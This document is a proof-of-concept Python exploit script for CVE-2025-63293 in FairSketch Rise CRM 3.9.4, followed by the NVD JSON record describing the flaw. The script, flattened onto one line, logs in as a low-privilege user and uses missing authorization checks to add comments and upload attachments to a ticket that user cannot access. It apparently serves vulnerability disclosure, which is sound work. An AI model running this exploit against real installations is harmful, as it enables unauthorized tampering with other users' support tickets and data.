CVE-2025-63293

import requests import json # CVE-2025-63293 PoC - Insecure Permissions in Rise CRM # Target: FairSketch Rise Ultimate Project Manager & CRM 3.9.4 BASE_URL = "http://target-server.com" # Step 1: Authenticate with low-privilege account login_url = f"{BASE_URL}/api/auth/login" login_data = { "email": "[email protected]", "password": "password123" } session = requests.Session() response = session.post(login_url, json=login_data) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Add unauthorized comment to target ticket # Target ticket ID that the attacker has no permission to access TARGET_TICKET_ID = 9999 comment_url = f"{BASE_URL}/api/tickets/{TARGET_TICKET_ID}/comments" comment_data = { "comment": "Unauthorized comment added via CVE-2025-63293" } response = session.post(comment_url, json=comment_data) if response.status_code in [200, 201]: print(f"[+] Successfully added comment to ticket {TARGET_TICKET_ID}") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed to add comment. Status: {response.status_code}") # Step 3: Upload unauthorized attachment to target ticket attachment_url = f"{BASE_URL}/api/tickets/{TARGET_TICKET_ID}/attachments" files = { 'file': ('malicious.txt', b'Unauthorized attachment via CVE-2025-63293', 'text/plain') } response = session.post(attachment_url, files=files) if response.status_code in [200, 201]: print(f"[+] Successfully uploaded attachment to ticket {TARGET_TICKET_ID}") else: print(f"[-] Failed to upload attachment. Status: {response.status_code}")

{"cve": {"id": "CVE-2025-63293", "sourceIdentifier": "[email protected]", "published": "2025-11-03T21:19:38.307", "lastModified": "2025-11-14T18:32:13.647", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FairSketch Rise Ultimate Project Manager & CRM 3.9.4 is vulnerable to Insecure Permissions. A remote authenticated user can append comments or upload attachments to tickets for which they lack view or edit authorization, due to missing authorization checks in the ticketing/commenting API."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fairsketch:rise_ultimate_project_manager:3.9.4:*:*:*:*:*:*:*", "matchCriteriaId": "7AB73DE6-D4A0-4F8A-A100-F75AF3D267FB"}]}]}], "references": [{"url": "http://fairsketch.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://medium.com/@barrattjack89/cve-2025-63293-insecure-permissions-in-rise-crm-3-9-4-452c88c24195", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}